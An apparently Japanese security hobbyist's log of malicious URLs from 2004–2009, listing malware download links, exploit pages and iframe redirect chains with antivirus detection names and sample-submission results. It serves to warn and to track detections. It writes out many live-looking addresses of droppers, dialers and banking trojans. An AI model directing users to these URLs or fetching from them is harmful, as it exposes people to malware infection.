2006/12/29 から今日までのファイルの置き換えは無いと推測される。

http://66.246.161.215/console/dropper.exe

[2005/04/16] ウィルス名：ADW_GLOBOSRCH.C

http://66.246.161.215/exe/gigasoft_259.exe

[2005/04/16]

バスター無反応だが、以下のアンチウィルスソフトでウィルスを検出。
Avast → ウィルス名：Win32:Trojan-gen. {Other}
AVG Antivirus → ウィルス名：Startpage.16.BC
Dr.Web → ウィルス名：Trojan.StartPage.630
Kaspersky Anti-Virus → ウィルス名：AdWare.Giga.b
mks_vir → ウィルス名：Gigab.A1
Norman Virus Control → ウィルス名：Gagabar.A
VBA32 → ウィルス名：AdWare.Giga.b

[2006/08/04]

2006/07/31 にトレンドマイクロ社に「gigasoft_259.exe」ファイルを提出。
今日、その結果の連絡があり、ウィルス名：ADW_GIGABAR.B として検出するよう対応した。とのこと。
実際に当該URLから「gigasoft_259.exe」ファイルをDLしてウィルス名：ADW_GIGABAR.B を検出することを確認。

http://66.246.161.215/tmp/cmdropper.exe

[2005/04/16] ウィルス名：ADW_GLOBOSRCH.A

http://66.250.131.47/alert/privacy.php

[2005/10/02]

結論から言うと、このURLはPC無害。海外セキュリティ会社のサイトの１ページらしい。以下は他の方の結果。
「踏んだ瞬間、自分のPCのファイルとフォルダを勝手に検索された上に表示までされました。リモートアタック掛けられるかも知れません。但しVBの反応はなしです。」
「洋セキュリティソフト会社の悪質な宣伝です。」
「フラのアクションスクリプトで、自分のPCのfavorites history cookie desktop cacheを表示させる。」
「IEで踏むと、お気に入り、履歴、クッキー等のフォルダ内容を表示されて、英語で「エロサイトなどを見てるあなたのプライバシーはこのように筒抜けです。ぜひ対策ソフトを入れてください」的なことを言ってソフトの宣伝をしています。」

http://67.15.70.15/~black/britneynude.html

[2005/03/08] ウィルス名：ADW_RBLAST.E を検出するが、ウィルス名：TROJ_ISTBAR.BJ を検出する場合もあるらしい。

http://67.15.70.15/~black/fackpouon.html

[2005/02/28] このページは無害だが、ダークロリータ系URL（ jpg偽装URL )を踏んでスタートページがこのURLになってしまう場合あり。

http://67.15.107.166/files/codec_dv/071213/DivoCodec-1.0.0.2-setup-0712.exe

[2009/08/06] ファイルサイズ：259 KB 。バスター無反応だが、他社製ウィルス駆除ソフトの多くで反応がある。

http://67.15.107.166/winzix/070529/winzix-1.0-setup-0001.exe

[2008/11/27] ウィルス名：TROJ_OBFUSCA.SD

http://67.15.114.122/my_stat.php
http://67.15.114.122/my_stat_s2.php?id=

[2006/10/16] ウィルス名：JS_EXCEPTION.GEN

http://67.15.114.134/mystat/1/index.php

[2005/07/23] 踏むとウィルス名：JS_EXCEPTION.GEN を検出。アドレスが以下のアドレスになる。
//67.15.114.122/my_stat_s2.php?id=-[自分のリモートホスト]

http://67.19.185.246/i/1/loader2.ocx

[2005/02/24] ウィルス名：TROJ_GHETTO.A

[2005/10/11] 再確認。ウィルスファイルが置き換えられているかも。ウィルス名：TROJ_AGENT.QI を検出。

http://67.19.185.246/i/8/loader2.ocx

[2005/10/11] ウィルス名：TROJ_AGENT.QI

http://67.43.224.77/aaaa.exe

[2008/10/20] ウィルス名：WORM_HAMWEQ.AM

http://67.43.224.77/db2.exe

[2009/03/14] ウィルス名：TROJ_SHEUR.CJZ

http://67.43.224.77/so7.exe

[2008/10/20] ウィルス名：TROJ_PAKES.CU

http://67.43.224.77/x3.exe

[2008/10/20] ウィルス名：TROJ_QHOST.PE

http://67.72.100.27/dialerhost/download/C6I6L4Sy/sexsoftware.cab

[2006/09/08]

2006/09/02 にトレンドマイクロ社にDL＋解凍して現れた「sexsoftware.exe」ファイルを提出。
今日、その結果の連絡があり、ウィルス名：DIAL_BILLPRAYE.G として検出するよう対応、とのこと。
2006/09/02 にDLしたファイルからウィルス名：DIAL_BILLPRAYE.G を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：DIAL_BILLPRAYE.G を検出することを確認。

http://67.72.100.27/dialerhost/download/NqnUWJyI/sexsoftware.cab

[2006/08/27] ウィルス名：DIAL_PORNDIAL.BL

http://67.72.100.27/dialerhost/download/sexsoftware.cab
http://67.72.100.27/dialerhost/download/sexsoftware.exe

[2006/10/19] ウィルス名：DIAL_BILLPRAYE.B

http://67.72.100.27/dialerhost/download/W4bcR2cn/sexsoftware.cab

[2006/11/27] ウィルス名：DIAL_PORNDIAL.BL

http://67.72.100.27/dialerhost/download/Zdst8XLq/sexsoftware.cab

[2006/09/01]

2006/08/26 にトレンドマイクロ社にDL＋解凍して現れた「sexsoftware.exe」ファイルを提出。
2006/08/31 にその結果の連絡があり、ウィルス名：DIAL_BILLPRAYE.C として検出するよう対応、とのこと。
2006/08/26 にDLしたファイルからウィルス名：DIAL_BILLPRAYE.C を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：DIAL_BILLPRAYE.C を検出することを確認。

http://67.108.118.8/clubs/anime/images/eu.scr

[2007/02/19] ウィルス名：Possible_Virus

http://69.20.25.92/ax/tk58.exe

[2008/07/26] ウィルス名：TSC_GENCLEAN＋ADW_FZQUEST.EAH

http://69.31.85.151/G7/control.exe

[2005/03/07] ウィルス名：TROJ_KREPPER.E

http://69.31.86.221/xltmk.dat

[2005/10/11] ウィルス名：ADW_ESEPOR.D

http://69.50.160.98/60/runme.html

[2005/03/28] ウィルス名：EXPL_IFRAMEBO.A

http://69.50.161.11/counter/new/x.chm

[2005/10/11] ウィルス名：CHM_DSMALL.A

http://69.50.161.126/5/s1/q.chm

[2008/07/26] ウィルス名：CHM_DROPPER.CKK

http://69.50.161.142/inc/nal3.html

[2005/04/09] ウィルス名：JAVA_BYTEVER.A

http://69.50.161.142/inc/nan1.html

[2005/04/12] ウィルス名：JAVA_BYTEVER.A

http://69.50.161.142/inc/nan7.html

[2005/01/10]	ウィルス名：JAVA_BYTEVER.A
[2005/02/16]	他の方が踏んだ場合、（２ちゃんねる・セキュリティ板より引用）このサイトを踏んだらJAVA_BYTEVER.Aというスパイウェアに感染してしまいました。当時Windows XPでSP2はインストールしていませんでした。慌ててSP2をインストールし、マイクロトレンドのウィルスバスター2005の無償版でとりあえずJAVA_BYTEVER.A は隔離できたようなんですが、まだ解決していない問題がいくつかあります。１、ホームページを「about:blank」にしているにもかかわらず、IEを開くとこんなサイトが開きます。　[uninstall homepage]をクリックしてもこの広告サイトに移ります。２、時折勝手にこのアダルトサイトのポップアップが開きます。３、時折勝手にこのメッセージが開き、[YES]ボタンを押すとこんなサイトに移ります。　　一見マイクロソフトのページのように見えますが実はそうではないようで、[Download Recomemnded Software]をクリックするとこの広告サイトに移ります。４、時折勝手にこんなサイトが開きます。　　バルーンをクリックするとこれが表示され、[REMOVAL TOOLS]をクリックしてもこの広告サイトに移ります。使用OS:Windows XP Home Edition 使用ブラウザ:IE6.0.2900.2180.xpsp_sp2rtm.04083-2158 使用PC:DELL DEMENSION 8300
[2005/03/21]	上記４番目の画像で、マカフィー社のウィルス画像辞典のウィルス名：AdClicker-BW のところに同じものが掲載されている、との情報あり。そのウィルス名：AdClicker-BWの詳細はこちらを参照。

http://69.50.161.142/inc/nan11.html

[2005/05/22] ウィルス名：TROJ_ANICMOO.G＋JAVA_BYTEVER.A＋JAVA_BYTEVER.C
IFRAMEタグで //69.50.190.131/?to=nan11&from=in を呼ぶ。このURL解説も参照。

http://69.50.161.142/inc/nan40.html

[2005/05/25] このサイトはIFRAMEタグを使って以下のURLを呼び出す。詳細はこのURL解説も参照。
//69.50.190.131/?to=nan40&from=in

http://69.50.161.142/inc/nmid.html

[2005/03/28] //69.50.190.131/?to=nmid&from=in に飛び、ウィルス名：JAVA_BYTEVER.A を検出。

http://69.50.164.12/exp/mht/devil01.chm

[2006/08/11]

2006/08/04 にトレンドマイクロ社に「devil01.chm」ファイルを提出。
今日、その結果の連絡があり、ウィルス名：CHM_CODEBASE.CC として検出するよう対応したとのこと。
2006/08/04 にDLした「devil01.chm」ファイルからウィルス名：CHM_CODEBASE.CC を検出することを確認。
また、改めて当該URL から「devil01.chm」ファイルをDLしてみてもウィルス名：CHM_CODEBASE.CC を検出することを確認。

http://69.50.164.12/exp/mht/pop01.chm

[2006/07/28]

2006/07/24 にトレンドマイクロ社にchmファイルを提出。今日、その結果の連絡があり、その結果は以下。
「ウイルスパターンファイル 3.595.00 にてウィルス名：CHM_CODEBASE.BP として対応しました。」
実際にファイルをDLしてウィルス名：CHM_CODEBASE.BP を検出することを確認。

http://69.50.164.12/exp/mht/pop02.chm

[2006/08/11]

2006/08/04 にトレンドマイクロ社に「pop02.chm」ファイルを提出。
今日、その結果の連絡があり、ウィルス名：CHM_CODEBASE.CH として検出するよう対応したとのこと。
2006/08/04 にDLした「pop02.chm」ファイルからウィルス名：CHM_CODEBASE.CH を検出することを確認。
また、改めて当該URL から「pop02.chm」ファイルをDLしてみてもウィルス名：CHM_CODEBASE.CH を検出することを確認。

http://69.50.164.12/exp/mht/pop03.chm

[2006/08/11]

2006/08/04 にトレンドマイクロ社に「pop03.chm」ファイルを提出。
今日、その結果の連絡があり、ウィルス名：CHM_CODEBASE.CI として検出するよう対応したとのこと。
2006/08/04 にDLした「pop03.chm」ファイルからウィルス名：CHM_CODEBASE.CI を検出することを確認。
また、改めて当該URL から「pop03.chm」ファイルをDLしてみてもウィルス名：CHM_CODEBASE.CI を検出することを確認。

http://69.50.164.12/exp/mht/pop04.chm

[2006/08/11]

2006/08/04 にトレンドマイクロ社に「pop04.chm」ファイルを提出。
今日、その結果の連絡があり、ウィルス名：CHM_CODEBASE.CJ として検出するよう対応したとのこと。
2006/08/04 にDLした「pop04.chm」ファイルからウィルス名：CHM_CODEBASE.CJ を検出することを確認。
また、改めて当該URL から「pop04.chm」ファイルをDLしてみてもウィルス名：CHM_CODEBASE.CJ を検出することを確認。

http://69.50.164.12/exp/mht/pop05.chm

[2006/08/11]

2006/08/04 にトレンドマイクロ社に「pop05.chm」ファイルを提出。
今日、その結果の連絡があり、ウィルス名：CHM_CODEBASE.CK として検出するよう対応したとのこと。
2006/08/04 にDLした「pop05.chm」ファイルからウィルス名：CHM_CODEBASE.CK を検出することを確認。
また、改めて当該URL から「pop05.chm」ファイルをDLしてみてもウィルス名：CHM_CODEBASE.CK を検出することを確認。

http://69.50.164.12/exp/mht/sext01.chm

[2006/07/28]

2006/07/24 にトレンドマイクロ社にchmファイルを提出。今日、その結果の連絡があり、その結果は以下。
「ウイルスパターンファイル 3.595.00 にてウィルス名：CHM_CODEBASE.BT として対応しました。」
実際にファイルをDLしてウィルス名：CHM_CODEBASE.BT を検出することを確認。

http://69.50.164.12/exp/mht/sext02.chm

[2006/07/28]

2006/07/24 にトレンドマイクロ社にchmファイルを提出。今日、その結果の連絡があり、その結果は以下。
「ウイルスパターンファイル 3.595.00 にてウィルス名：CHM_CODEBASE.BX として対応しました。」
実際にファイルをDLしてウィルス名：CHM_CODEBASE.BX を検出することを確認。

http://69.50.164.12/exp/mht/sext03.chm

[2006/08/11]

2006/08/04 にトレンドマイクロ社に「sext03.chm」ファイルを提出。
今日、その結果の連絡があり、ウィルス名：CHM_CODEBASE.CL として検出するよう対応したとのこと。
2006/08/04 にDLした「sext03.chm」ファイルからウィルス名：CHM_CODEBASE.CL を検出することを確認。
また、改めて当該URL から「sext03.chm」ファイルをDLしてみてもウィルス名：CHM_CODEBASE.CL を検出することを確認。

http://69.50.164.12/exp/mht/sext04.chm

[2006/08/04]

2006/07/31 にトレンドマイクロ社に「sext04.chm」ファイルを提出。
今日、その結果の連絡があり、ウィルス名：CHM_STARTPAG.BW として検出するよう対応した。とのこと。
実際に当該URLから「sext04.chm」ファイルをDLしてウィルス名：CHM_STARTPAG.BW を検出することを確認。

http://69.50.164.12/exp/mht/sext05.chm

[2006/08/11]

2006/08/04 にトレンドマイクロ社に「sext05.chm」ファイルを提出。
今日、その結果の連絡があり、ウィルス名：CHM_CODEBASE.CM として検出するよう対応したとのこと。
2006/08/04 にDLした「sext05.chm」ファイルからウィルス名：CHM_CODEBASE.CM を検出することを確認。
また、改めて当該URL から「sext05.chm」ファイルをDLしてみてもウィルス名：CHM_CODEBASE.CM を検出することを確認。

http://69.50.166.212/counter/winxp/classload.jar

[2005/01/09] ウィルス名：JAVA_BYTEVER.A

http://69.50.166.213/users/john/web/counter.php

[2005/03/08] 真っ白なページだがウィルス名：JAVA_BYTEVER.A を検出。

http://69.50.173.166/1/gdnUS1862.exe
http://69.50.173.166/1/gdnUS2050.exe

http://69.50.173.166/1/rdgUS2405.exe

[2006/08/18]

2006/08/12 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：DIAL_RAS.GP として検出するよう対応した、とのこと。
2006/08/12 にDLしたファイルからウィルス名：DIAL_RAS.GP を検出することを確認。
しかし、今日改めて当該URLからDLしてみるとウィルス未検出。
恐らく、新しいファイルに随時置き換えられるURLと推測される。

http://69.50.173.194/data/on.chm

[2006/09/07]	2006/08/20 にトレンドマイクロ社にファイルを提出。今日、その結果の連絡があり、ウィルス名：CHM_CODEBASE.DE として検出するよう対応、とのこと。 2006/08/20 にDLしたファイルからウィルス名：CHM_CODEBASE.DE を検出することを確認。また、今日改めて当該URLからDLしてみてもウィルス名：CHM_CODEBASE.DE を検出することを確認。
[2006/10/13]	2006/10/11 の時点でバスター無反応であった。ファイルが置き換えられている。 2006/10/11 にトレンドマイクロ社に再提出。今日、その結果の連絡があり、ウィルス名：CHM_DROPPER.BRP として検出するよう対応、とのこと。実際に 2006/10/11 にDLしたファイルからウィルス名：CHM_DROPPER.BRP を検出することを確認。しかし、今日改めて当該URLからDLしてみるとバスター無反応。既にファイルが置き換えられている。
[2006/10/24]	2006/10/18 時点でバスター無反応であった。ファイルが置き換えられている。 2006/10/18 にトレンドマイクロ社にファイルを再提出。今日、その結果の連絡があり、ウィルス名：CHM_SMALL.DPT として検出するよう対応、とのこと。実際に 2006/10/18 にDLしたファイルからウィルス名：CHM_SMALL.DPT を検出することを確認。しかし、今日改めて当該URLからDLしてみるとバスター無反応であった。早くもファイルが置き換えられている。

http://69.50.177.98/x125/ind.php

[2005/05/22]

踏んですぐにはウィルス反応しないが、数秒後にウィルス名：JAVA_BYTEVER.A を検出。
IFRAMEタグを使い、以下の２つのURLを呼び出している。詳細はこれら２つのURL解説を参照。
//69.50.177.102/x125/count3.htm
//69.50.177.102/x125/count5.htm

http://69.50.177.102/x125/classload.jar

[2005/05/22] ウィルス名：JAVA_BYTEVER.A

http://69.50.177.102/x125/count3.htm

[2005/05/22]

以下のURLファイルと関連している。踏んでもセキュリティ環境の度合いにより、有害の場合もある。
//69.50.177.102/x125/classload.jar　← ウィルス名：JAVA_BYTEVER.A
//69.50.177.102/x125/runsvc34.exe　← ウィルス有り。詳細はこのURL解説を参照。

http://69.50.177.102/x125/count5.htm

[2005/05/22]

踏むといきなりこれを表示。
「はい」を選ぶと、ウィンドウが閉じてそれでおわり。
「いいえ」を選ぶと真っ白なページを表示。しかし、ソースを見ると何かある模様。
調べると何かを実行しようとするスクリプトらしい。
//69.50.177.102/x125/runsvc36.exe と関連付けられている。詳細はこのURL解説も参照。

[2005/10/21]

お寄せ頂いた情報は以下の「」内。
「ウィンドウがいきなり閉じる他に異常はありませんでした。」

http://69.50.177.102/x125/runsvc34.exe

http://69.50.177.102/x125/runsvc36.exe

[2005/05/22]

バスター無反応だが、以下のアンチウィルスソフトでウィルスを検出。exeの正体はトロイの木馬。
AntiVir → TR/Dldr.VBS.Iwi.G.1
Avast → Win32:Trojano-1278
AVG Antivirus → Dropper.Agent.5.AG
BitDefender → Trojan.Dropper.Agent.II
ClamAV → Trojan.Dropper.Agent-6
Dr.Web → Trojan.Click.345
Fortinet → W32/Agent.II-tr
Kaspersky → Trojan-Dropper.Win32.Small.zp
mks_vir → Trojan.Dropper.Agent.Ii
NOD32 → Win32/TrojanDropper.Agent.II
Norman Virus Control → W32/Agent.CVM
VBA32 → Trojan-Dropper.Win32.Agent.ii

http://69.50.182.94/1/gdnJP1944.exe

[2005/05/25]

バスター無反応だが、以下のアンチウィルスソフトでウィルスを検出。
BitDefender → Trojan.Dialer.HT
ClamAV → Dialer-306
Dr.Web → Trojan.DownLoader.2044
Kaspersky → Trojan.Win32.Dialer.ht
mks_vir → Win32.4
NOD32 → Win32/Dialer.NAD
Norman Virus Control → W32/Dialer
VBA32 → Embedded.Trojan-Downloader.Win32.Agent.li

http://69.50.182.94/1/rdgJP1342.exe

[2005/05/22]

バスター無反応だが、以下のアンチウィルスソフトでウィルスを検出。exeの正体はダイヤラー。
BitDefender → Trojan.Dialer.HT
ClamAV → Dialer-306
Dr.Web → Trojan.DownLoader.2044
Kaspersky → Trojan.Win32.Dialer.ht
mks_vir → Win32.4 (probable variant)
NOD32 → Win32/Dialer.NAD
VBA32 → Embedded.Trojan-Downloader.Win32.Agent.li

http://69.50.182.94/connect.cgi?id=33

[2005/04/05] 踏むと真っ青なページ。AxtiveX を要求される。
「 1/gdnJP33.exe 」なるものをDLされるらしいが、落ちてこなかった。

http://69.50.182.94/connect.cgi?id=1096

[2005/06/09] ウィルス名：JS_PSYME.AF＋JAVA_BYTEVER.A＋JAVA_BYTEVER.K
真っ青なページだが、このセキュリティ警告を表示する。

http://69.50.182.94/connect.cgi?id=1342

[2005/05/22]

真っ青なページだが、左上のほうに何か別のURLを表示しようとしている。
ウィルス名：TROJ_ANICMOO.G＋JAVA_BYTEVER.A＋JAVA_BYTEVER.C 。このセキュリティ警告を表示。
object実行で //69.50.182.94/1/rdgJP1342.exe を実行しようとしている。
IFRAMEタグを使い、//69.50.161.142/inc/nan11.html を呼び出している。それぞれのURL解説を参照。

http://69.50.182.94/connect.cgi?id=1932

[2005/07/05]

OBJECTタグで１を落とそうとしてくる。また、IFRAMEタグで２を呼び出す。
１、//69.50.182.94/1/gdnJP1932.exe　← ダイヤラー。
２、//www.xybererotica.com/lala/　← バスター無反応。

http://69.50.182.94/connect.cgi?id=1944

[2005/05/25] 真っ青なページだが、左上のほうに何かを呼び出している。それは以下。
//69.50.182.94/1/gdnJP1944.exe

http://69.50.190.131/?to=encrypter&from=go4

[2005/06/04]

ウィルス名：JAVA_BYTEVER.A＋PE_BUBE.A-O＋JAVA_BYTEVER.K＋JAVA_BYTEVER.A-1
踏むと真っ白なページだが、左上のほうに小さな黒い点が並んでいる。それはIFRAMEタグで以下のURLを呼び出しているものである。それぞれのURL解説も参照。
//crazy-toolbar.com/new2/web.php?account=encry
//crazy-toolbar.com/new11/accencry/web.php?account=encry
//crazy-toolbar.com/new12/web.php?account=encry
//crazy-toolbar.com/new4/accencry/web.php
//crazy-toolbar.com/new13/accencry/web.php
//crazy-toolbar.com/new10/web.php?account=encry
//crazy-toolbar.com/new7/web.php?account=encry
//crazy-toolbar.com/new6/web.php?account=encry

http://69.50.190.131/?to=gal&from=spb

[2004/08/10] ウィルス名：HTML_MHTREDIR.H 。//www.ultraload.net/load.html に飛ぶ。

http://69.50.190.131/?to=HANGMANIO&from=jahgod&type=jahgod

[2006/03/05]

何回か確認すると、１回目の確認では以下の ① に飛び、２回目以降の確認では ② に飛んだ。
①、//216.255.186.77/split.php?id=hangall　← このURL List解説を参照。
②、//terabyteofporn.com/?adv=nicket　← 真っ白なページだが、何かある模様。バスターは無反応。

http://69.50.190.131/?to=HANGMANIO&from=nubi&type=nubi

[2005/07/04]	踏むと以下の１のURLに飛び、ウィルス名：JS_MHTREDIR.P＋JAVA_BYTEVER.A を検出。同時にIFRAMEタグで２のURLも呼び出している。１、//www.search-key.net/inse.php?id=hangall ２、//www.vxiframe.biz/adverts/039/1.php
[2005/10/17]	再確認。踏むと下のURLに飛び、更にランダムに約90%の確率でウィルスサイトに飛ぶ。 //69.50.190.135/?to=rush&from=redin&type=cns

http://69.50.190.131/?to=nal3&from=in

[2005/04/09] ウィルス名：JAVA_BYTEVER.A

http://69.50.190.131/?to=nan7&from=in

[2005/04/06]

踏むと以下のどちらかに飛ぶ。ほとんど ① に飛ぶが、稀に ② に飛ぶ。
①、//iframedollars.biz/dl/adv428.php ← ウィルス名：TROJ_ANICMOO.D＋JAVA_BYTEVER.A＋JAVA_BYTEVER.C
②、//www.traffic2cash.biz/counter.php?account=adv234　← ウィルス名：HTML_REDIR.A＋JAVA_BYTEVER.A＋JAVA_BYTEVER.K＋JAVA_BYTEVER.A-1

http://69.50.190.131/?to=nan11&from=in

[2005/05/22] ウィルス名：TROJ_ANICMOO.G 。踏むとすぐに //qwe.porn-host.org/1.html に飛ぶので、こちらのURL解説も参照。

http://69.50.190.131/?to=nan40&from=in

[2005/05/25]

以下のURLを関連付けられている。
//81.222.131.59/dl/adv659/sploit.anr　← 詳細はこのURL解説を参照。
//81.222.131.59/dl/adv659/x.chm　← 詳細はこのURL解説を参照。
//81.222.131.59/dl/newexpl.php?adv=adv659　← ページが無い模様。

http://69.50.190.131/?to=nmid&from=in

[2005/03/08] //69.50.166.213/users/john/web/counter.php に飛ぶ。

http://69.50.190.133/?to=rush&from=gall&type=red

[2005/07/04]

踏むと以下の１のURLに飛び、ウィルス名：JS_MHTREDIR.P＋JAVA_BYTEVER.A を検出。
同時にIFRAMEタグで２のURLも呼び出している。
１、//www.search-key.net/inse.php?id=hangall
２、//www.vxiframe.biz/adverts/039/1.php

http://69.50.190.133/?to=RUSH&from=ifr100&type=120

[2005/04/25]	踏むと次のどれかに飛ぶ。 ①、//82.179.166.145/index2.php?aid=x19　← バスター無反応。 ②、//205.252.250.226/zator/adv3006/　← ウィルス名：JAVA_BYTEVER.A-1 ③、//humansfucker.com/sb/index.html　← バスター無反応。 ④、//toolbarpartner.com/adverts/r222/index.html　← ウィルス名：JAVA_BYTEVER.A＋JAVA_BYTEVER.K＋JAVA_BYTEVER.A-1
[2005/05/05]	改めて確認。 IFRAMEタグで//humansfucker.com/sb/allctrsb.phpを呼んでいるが、実際に踏むと以下のどれかに飛ぶ。何回か踏んで確認。重複分は除外。詳細はそれぞれのURL解説を参照。 //65.125.226.86/traff/down.php?id=211 //toolbarpartner.com/adverts/r222/index.html //205.252.250.226/zator/adv3006/ //82.179.166.145/index2.php?aid=x19

http://69.50.190.135/?to=rush&from=gall&type=red

[2005/10/17]	踏むと以下の ① に飛び、すぐに ② に飛ぶ。更に ② はランダムに約90%の確率でウィルスサイトに飛ぶ。 ①、//69.50.190.131/?to=HANGMANIO&from=nubi&type=nubi ②、//69.50.190.135/?to=rush&from=redin&type=cns
[2006/05/05]	再確認。踏むと以下のどれかに飛ぶ。 ①、//game4all.biz/adv/012/new.php　← このURL List解説も参照。 ②、//205.252.250.226/zator/adv3006/　← このURL List解説も参照。 ③、//bs.t-redirect.com/tds/rdr.php?id=27　← 調査中。

http://69.50.190.135/?to=rush&from=redin&type=cns

[2005/10/17]

踏むと以下のどれかに飛ぶ。そのほとんどがウィルスを検出するURLである。
//85.255.113.22/inc/nan9.html
//205.252.250.226/zator/adv3006/
//82.179.166.145/index2.php?aid=x19
//toolbarpartner.com/in.php?wm=r222
//85.255.113.242/adv/012/

http://69.50.191.68/eb/be/count.html

[2005/03/12] 真っ白なページだがウィルス名：JAVA_BYTEVER.A を検出。

http://69.50.191.68/eb/rr/x.html

[2005/02/05] ウィルス名：JAVA_BYTEVER.A

http://69.56.176.75/webplugin.cab

[2006/07/11] ウィルス名：TROJ_ONECLICK.A

http://69.56.176.78/webplugin.cab

[2005/03/12] 中身はウィルス名：TROJ_ONECLICK.A

http://69.61.59.117/ds-111111.exe

[2006/08/18]

2006/08/12 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：TROJ_DLOADER.DRO として検出するよう対応した、とのこと。
2006/08/12 にDLしたファイルからウィルス名：TROJ_DLOADER.DRO を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：TROJ_DLOADER.DRO を検出することを確認。

http://69.61.59.117/random/999999.chm

[2006/08/18]

2006/08/12 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：CHM_CODEBASE.CF として検出するよう対応した、とのこと。
2006/08/12 にDLしたファイルからウィルス名：CHM_CODEBASE.CF を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：CHM_CODEBASE.CF を検出することを確認。

http://69.61.59.117/random/count.jar

[2006/08/11] ウィルス名：JAVA_BYTEVER.A＋JAVA_BYTEVER.AB＋JAVA_BYTEVER.AC

http://69.61.59.117/random/xp/cursor.ani

[2006/08/11] こんな感じのページだが、ウィルス名：TROJ_ANICMOO.AB を検出。

http://69.69.215.84/images/Caixa-Atualizacao_08_05.scr

[2009/08/06] ファイルサイズ：0.98 MB 。ウィルス名：TROJ_GENERIC.DIT

http://70.148.212.252/images/inc/video/gbtext.dll

[2009/08/06] ファイルサイズ：1.18 KB 。バスター無反応だが、BitDefender で Trojan.Banker.Delf.YUV を検出。

http://70.148.212.252/images/inc/video/system.exe

[2009/08/06] ファイルサイズ：457 KB 。ウィルス名：TSPY_BANCOS.BI

http://70.148.212.252/images/inc/video/systemkill.dll

[2009/08/06] ファイルサイズ：759 KB 。ウィルス名：TROJ_BANKMO.S

[2005/03/04]	ウィルス名：SPYW_SMALL.AZ
[2005/12/03]	再確認。ファイルが無い模様。

[2005/02/24]	ウィルス名：TROJ_GHETTO.A
[2005/10/11]	再確認。ウィルスファイルが置き換えられているかも。ウィルス名：TROJ_AGENT.QI を検出。